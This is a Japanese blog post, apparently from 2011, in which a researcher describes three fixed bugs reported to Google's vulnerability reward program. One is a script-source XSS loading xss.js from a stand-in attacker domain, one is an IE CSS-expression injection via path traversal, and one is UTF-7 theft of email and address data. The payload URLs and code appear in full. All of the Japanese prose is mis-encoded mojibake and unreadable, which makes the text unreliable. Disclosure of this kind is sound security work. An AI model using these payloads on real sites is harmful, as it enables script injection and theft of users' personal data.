Hatena::Diary

masatokinugawa¤ÎÆüµ­

2011-02-07

Google's Vulnerability Reward Program

Google¤Ï2010ǯ11·î¤«¤éGoogle¤Î¥¦¥§¥Ö¥¢¥×¥ê¥±¡¼¥·¥ç¥ó¤Î¥»¥­¥å¥ê¥Æ¥£ÀȼåÀ­¤òÊó¹ð¤·¤¿¿Í¤ËÊó½·¤ò»Ùʧ¤¦À©ÅÙ¤ò¥¹¥¿¡¼¥È¤·¤Þ¤·¤¿¡£ËͤâÁᮤ¤¤¯¤Ä¤«Êó¹ð¤·¡¢°ÊÁ°Twitter¤ÇGoogle¤«¤é$7337夤¤¿¤è¤È¤Ä¤Ö¤ä¤­¤Þ¤·¤¿¤¬¡¢¤¢¤ì¤«¤é¿·¤¿¤Ë$6337¤ÎÆþ¶â¤¬¤¢¤ê¡¢º£¤Î¤È¤³¤í¤³¤ÎÀ©ÅÙ¤Ç$13174($1337 ¡ß 2 + $1000 ¡ß 2 + $500 ¡ß 17)¤ò夤¤Æ¤¤¤Þ¤¹¡ª¤¢¤ê¤¬¤È¤¦¡ª


Äɵ­ 7337+6337=13674¤Ê¤Î¤ÇÆþ¶â¤¬¤¢¤Ã¤¿¤Î¤Ï$13674($1337 ¡ß 2 + $1000 ¡ß 2 + $500 ¡ß 18)¤Ç¤·¤¿¡£¹ç·×¤ò´Ö°ã¤¨¤Æ¤Þ¤·¤¿¡£Â­¤·»»Æñ¤·¤¤¡ª¡ä¡ã+$500¡ª


f:id:masatokinugawa:20110207094451:image:w240:h320


½¤Àµ¤µ¤ì¤¿¤â¤Î¤Ï¾ðÊó¤ò¸ø³«¤·¤Æ¤â¤¤¤¤¤È¤Î¤³¤È¤Ê¤Î¤Ç¡¢Êó¹ð¤·¤¿Ã椫¤é¿¾¯ÊѤï¤Ã¤¿¥¿¥¤¥×¤ÎÀȼåÀ­¤ò3¤Ä¾Ò²ð¤·¤è¤¦¤È»×¤¤¤Þ¤¹¡£

<script>¥¿¥°¤Îsrc¤òºÙ¹©¤¹¤ë¤³¤È¤Ë¤è¤ëXSS

¤³¤ó¤Ê¥Ú¡¼¥¸¤¬¤¢¤ê¤Þ¤·¤¿¡£

URL:http://ex.google.com/?q=xxx

<html>
¡¦¡¦
<script src="http://www-xxx.google.com/a.js"></script>
¡¦¡¦
</html>

URL¤Î¥Ñ¥é¥á¡¼¥¿¤¬<script>¥¿¥°¤Îsrc¤ÇÆÉ¤ß¹þ¤àURL¤Î¥µ¥Ö¥É¥á¥¤¥ó¤Î°ìÉô¤Ë¤Ê¤ë¤«¤ó¤¸¤Ç¤¹¡£

¡Ö"<>¡×¤Ê¤É¤Ï½èÍý¤µ¤ì¤Æ¤¤¤Þ¤·¤¿¤¬¡¢¤½¤Î¾¤Îʸ»ú¤Ï¼«Í³¤ËÆþ¤ì¤ë¤³¤È¤¬½ÐÍ褿¤Î¤Ç¡¢

www-¤Ç»Ï¤Þ¤ë¼«Ê¬¤Î´ÉÍý²¼¤Î¥É¥á¥¤¥ó¤òÍѰդ·¡¢°Ê²¼¤Î¤è¤¦¤ËÆþÎϤ¹¤ë¤³¤È¤Ç³°Éô¥É¥á¥¤¥ó¤Îjs¤òÆÉ¤ß¹þ¤Þ¤»¤ë¤³¤È¤¬¤Ç¤­¤Þ¤·¤¿¡£

(Îã¤Ïwww-attacker.com¤¬¼«Ê¬¤Î´ÉÍý²¼)

URL:http://ex.google.com/?q=attacker.com/xss.js%23

<html>
¡¦¡¦
<script src="http://www-attacker.com/xss.js#.google.com/a.js"></script>
¡¦¡¦
</html>

ÊýË¡¤Ïñ½ã¤Ç¤¹¤¬¤¢¤Þ¤ê¸«¤Ê¤¤¥Ñ¥¿¡¼¥ó¤À¤Ã¤¿¤Î¤Ç¡¢´ÓÄ̤·¤¿»þ¤Ï¡Ö¤ª¤Ã¡×¤È»×¤¤¤Þ¤·¤¿¡£


¥¹¥¿¥¤¥ë¥·¡¼¥È¤Î¥Ñ¥¹¤òºÙ¹©¤¹¤ë¤³¤È¤è¤ëXSS

URL:http://www.google.com/path1/path2xxx/path3

<html>
¡¦¡¦
<link href="http://www.google.com/path1/path2xxx/css/default.css" rel="stylesheet">
¡¦¡¦
</html>

path2¤ÎÉôʬ¤¬¡Öpath2¡×¤È¤¤¤¦Ì¾Á°¤Ç¤Ê¤¯¤Æ¤âNot Found¤Ë¤Ê¤é¤Ê¤¤¤Ç¡¢¤½¤³¤Îʸ»ú¤¬<link>¥¿¥°Æâ¤ËÆþ¤ë¤«¤ó¤¸¤Î¥Ú¡¼¥¸¤Ç¤¹¡£

¤³¤ó¤Ê¾ì¹ç¡¢¡Ö"<>¡×¤¬Å¬Àڤ˽èÍý¤µ¤ì¤Æ¤¤¤¿¤È¤·¤Æ¤â¡¢IE¤Ê¤é¥¹¥¯¥ê¥×¥È¤òÃíÆþ¤Ç¤­¤ë¤³¤È¤¬¤¢¤ê¤Þ¤¹¡£


URL:http://www.google.com/path1/..%5Csearch%3Fq=}*{x:expression(alert(1))}%23/path3

<html>
¡¦¡¦
<link href="http://www.google.com/path1/..\search?q=}*{x:expression(alert(1))}#/css/default.css" rel="stylesheet">
¡¦¡¦
</html>

¥¹¥é¥Ã¥·¥å¤òÆþ¤ì¤ë¤È¸µURL¤Î³¬Áؤ¬ÊѤï¤Ã¤Æ¤·¤Þ¤¦¤Î¤Ç¡¢%5C¤ÇÂåÍѤ·¤Æ¥Ç¥£¥ì¥¯¥È¥ê¤òÁ̤ꡢ

Google¸¡º÷¤Ç¡Ö}*{x:expression(alert(1))}¡×¤ò¸¡º÷¤·¤¿¥Ú¡¼¥¸¤òÆÉ¤ß¹þ¤ó¤Ç¤¤¤Þ¤¹¡£

IE¤Ç¤Ï¡¢¤³¤ì¤Ç¥¹¥¯¥ê¥×¥È¤¬Æ°ºî¤·¤Þ¤¹¡£²¿¤¬µ¯¤­¤Æ¤¤¤ë¤Î¤«¤È¤¤¤¦¤È¡¢¡¢


IE¤Ï°Ê²¼¤Î¤è¤¦¤Ê¥³¡¼¥É¤Ç¡¢<link>¥¿¥°¤Îhref¤Ë»ØÄꤵ¤ì¤Æ¤¤¤ëHTML¤Î¥Ú¡¼¥¸¤ò¥¹¥¿¥¤¥ë¥·¡¼¥È¤È¤·¤Æ»ÈÍѤǤ­¡¢ÇطʤòÀÖ¤¯¤¹¤ë¥¹¥¿¥¤¥ë¤òŬÍѤµ¤»¤ë¤³¤È¤¬¤Ç¤­¤Þ¤¹¡£*1

<link href="http://www.google.com/search?q=}*{background:red}" rel="stylesheet">

¡Ö}*{background:red}¡×¤ß¤¿¤¤¤Ê¤Î¤¬href¤ÇÆÉ¤ó¤Ç¤ë¥Ú¡¼¥¸¤ÎHTMLÆâ¤ËÆþ¤Ã¤Æ¤ë¤È¡¢¤½¤ì¤ò¥¹¥¿¥¤¥ë¥·¡¼¥È¤È¤·¤Æ½¦¤Ã¤Æ¤¯¤ì¤ë¤«¤ó¤¸¤Ç¤¹¡£¤³¤Î»ÅÍͤˤè¤ê¡¢Æ±Íͤˤ·¤ÆHTMLÆâ¤Ë¡Ö}*{x:expression(alert(1))}¡×¤¬Æþ¤ë¾ì½ê¤òhref¤Ë»ØÄꤹ¤ì¤Ð¡¢expression¤ò½¦¤Ã¤Æ¤¯¤ì¤ÆJavaScript¤ò¸Æ¤Ó½Ð¤»¤Æ¤·¤Þ¤¦Ìõ¤Ç¤¹¡£(Äɵ­ text/html¤Î¥Ú¡¼¥¸¤òCSS¤È¤·¤ÆÆÉ¤à¤³¤È¤¬¤Ç¤­¤ë¤Î¤Ï¡¢¤­¤Á¤ó¤È¥Ñ¥Ã¥Á¤ÎÅö¤Æ¤é¤ì¤¿IE¤Ç¤Ï¡¢Æ±°ì¥É¥á¥¤¥ó¤·¤«¤Ç¤­¤Þ¤»¤ó¡£)


¥¹¥¿¥¤¥ë¥·¡¼¥È¤Î<link>¥¿¥°¤Îhref¤Î¥Ñ¥¹¤Ë¤Ê¤Ë¤«Æþ¤ì¤ë¤³¤È¤¬¤Ç¤­¤ë¤È¡¢href¤ÇÆÉ¤ß¹þ¤ó¤Ç¤¤¤ë¥É¥á¥¤¥ó¾å¤Ë¡Ö}*{background:red}¡×¤È¤«ÁÞÆþ¤Ç¤­¤ë¥Ú¡¼¥¸¤¬°ì²Õ½ê¤Ç¤â¤¢¤Ã¤¿¾ì¹ç¡¢¥Ç¥£¥ì¥¯¥È¥ê¤òÁàºî¤·¤Æ¤½¤Î¥Ú¡¼¥¸¤Þ¤Ç»ý¤Ã¤Æ¤¤¤±¤Ð¡¢Ç¤°Õ¤Î¥¹¥¿¥¤¥ë¥·¡¼¥È¤òÆÉ¤ß¹þ¤Þ¤»¤ë¤³¤È¤¬¤Ç¤­¤ë¡¢¤¹¤Ê¤ï¤Áexpression¤«¤éJavaScript¤ò»ÈÍѤǤ­XSS¤¬µ¯¤³¤ë¤Î¤Ç¡¢(ÉáÄ̤Ϥä¤é¤Ê¤¤¤È»×¤¦¤±¤É)¥¹¥¿¥¤¥ë¥·¡¼¥È¤Î¥Ñ¥¹¤Ë¥æ¡¼¥¶¡¼¤ÎÆþÎÏÃͤòÆþ¤ì¤é¤ì¤ë¤è¤¦¤Êºî¤ê¤Ï´í¤Ê¤¤¤È»×¤¤¤Þ¤¹¡£


UTF-7¤Ë¤è¤ë<script>¥¿¥°¤ò»È¤Ã¤¿¾ðÊóÀà¼è

¤³¤ó¤Ê¥Ú¡¼¥¸¤¬¤¢¤ê¤Þ¤·¤¿¡£

URL:http://ex.google.com/?q=xxx

//["xxx","example@gmail.com","Tokyo"]

xxx¤Î¤È¤³¤í¤ËURL¤Î¥Ñ¥é¥á¡¼¥¿¤ÎÃͤ¬¤­¤Æ¤¤¤Þ¤¹¡£

¾¤ÎÆþÎÏÃͤò»î¤·¤¿¤È¤³¤í¡¢¡Ö"<>¡×¤Ê¤É¤Ï¥¨¥¹¥±¡¼¥×¤µ¤ì¤Æ¤¤¤Æ¡¢²þ¹Ô(%0a)¤òÆþ¤ì¤ë¤È¤Ï¤¸¤«¤ì¤Þ¤·¤¿¡£HTTP¥ì¥¹¥Ý¥ó¥¹¥Ø¥Ã¥À¤ÎContent-Type¤Ï¡Ötext/html;charset=utf-8¡×¤È»ØÄꤵ¤ì¤Æ¤¤¤Þ¤·¤¿¡£

°ì¸«ÌäÂê¤Ê¤µ¤½¤¦¤Ç¤¹¤¬¡¢IE6/7¤Ç¤Ï¥Ú¡¼¥¸¤Îcharset¤¬Content-Type¤Ç»ØÄꤵ¤ì¤Æ¤¤¤Æ¤â¡¢¤½¤Î¥Ú¡¼¥¸¤òsrc¤«¤éÆÉ¤â¤¦¤È¤¹¤ë<script>¥¿¥°¤ËÀßÄꤵ¤ì¤¿charset¤ÎÃͤ¬Í¥À褵¤ì¤ë¤È¤¤¤¦¥ï¥ó¥Ñ¥¯¤Ê»ÅÍͤ¬¤¢¤ë*2¤Î¤Ç¡¢¤³¤ì¤òÍøÍѤ·¤Æ³°Éô¤ËUTF-7¤Îcharset¤òÀßÄꤷ¤¿<script>¥¿¥°¤«¤é¡¢¥á¡¼¥ë¥¢¥É¥ì¥¹¤È½»½ê¤ÎÉôʬ¤òÆÉ¤ß¤À¤¹¤³¤È¤¬¤Ç¤­¤Þ¤¹¡£

¤³¤Î¤è¤¦¤Ê¤«¤ó¤¸¤Î¥³¡¼¥É¤ò³°Éô¤ËÀßÃÖ¤·¤Þ¤¹¡£

<script src="http://ex.google.com/?q=%2BAAo-var%20x%2BAD0AWwAi-" charset="utf-7"></script>
<button onclick="alert(x)">Click</button>

src¤Ë»ØÄꤵ¤ì¤Æ¤¤¤ëÉôʬ¤Î¥Ú¡¼¥¸¤ÏÉáÄ̤˥¢¥¯¥»¥¹¤¹¤ì¤Ð¤³¤ó¤Ê¤«¤ó¤¸¤Ë½ÐÎϤµ¤ì¤ë¤Ï¤º¤Ç¤¹¡£

//["+AAo-var x+AD0AWwAi-",""example@gmail.com","Tokyo"]

¤·¤«¤·¤Ê¤¬¤éIE6/7¤ÇUTF-7¤Îcharset¤¬ÀßÄꤵ¤ì¤¿<script>¥¿¥°¤«¤é¤Ï¤³¤¦²ò¼á¤µ¤ì¤ë¤Ç¤·¤ç¤¦¡£

//["
var x=["",""example@gmail.com","Tokyo"]

²þ¹Ô¤Ï¤³¤³¤Ç¤ÏÃÆ¤«¤ì¤ë¤Î¤Ç¡¢¤¢¤¨¤Æ+¤È-¤Ç¤¯¤¯¤Ã¤¿·Á¼°¡Ö+AAo-¡×¤Ë¤·¤ÆÆþ¤ì¡¢¥³¥á¥ó¥È¥¢¥¦¥È¤«¤éÈ´¤±¤Æ¤¤¤Þ¤¹¡£¤³¤ì¤ÇJavaScript¤Î¥¨¥é¡¼¤â̵¤¯¡¢ÊÑ¿ôx¤Ë¥á¡¼¥ë¥¢¥É¥ì¥¹¤È½»½ê¤ò´Þ¤á¤ë»ö¤¬½ÐÍè¤Þ¤·¤¿¡£¤½¤ó¤ÊÌõ¤Ç³°Éô¤ËÀßÃÖ¤·¤¿button¤ò¥¯¥ê¥Ã¥¯¤¹¤ë¤È¥á¡¼¥ë¥¢¥É¥ì¥¹¤È½»½ê¤¬¥¢¥é¡¼¥È¤·¤Þ¤¹¡£

Google¤Ï¤³¤ÎÌäÂê¤ò¡¢URL¤Ë¥È¡¼¥¯¥ó¤òÉÕÍ¿¤·¥Á¥§¥Ã¥¯¤¹¤ë¤³¤È¤ÇÂкö¤·¤Þ¤·¤¿¡£


¤Ï¤¤¡¢°Ê¾å¤Ç¤¹¡ª

Google¤Ë³¤¤¤Æ¡¢Â¾¤Î¥µ¡¼¥Ó¥¹¤Ç¤âÊó½·À©ÅÙ¤òÀߤ±¤ë¤È¤³¤í¤¬¤Ç¤Æ¤¯¤ë¤È¤¤¤¤¤Ê¤¢¤È»×¤¤¤Þ¤¹¡ª

*1¡§Àµ³Î¤Ë¤ÏIE6/7¤È¡¢DOCTYPE»ØÄê¤Ë¤è¤êIE5¥â¡¼¥É¤Ç¥ì¥ó¥À¥ê¥ó¥°¤µ¤ì¤Æ¤¤¤ëIE8¤ÇÍ­¸ú¤Ë¤Ê¤ê¤Þ¤¹¡£

*2¡§¤Ï¤»¤¬¤ï¤è¤¦¤¹¤±¤µ¤ó¤Îȯɽ(1»þ´Ö55ʬÊÕ¤ê)¤ÇÃΤê¤Þ¤·¤¿¡ª

¥È¥é¥Ã¥¯¥Ð¥Ã¥¯ - http://d.hatena.ne.jp/masatokinugawa/20110207/google_security
¤ª¤È¤Ê¤êÆüµ­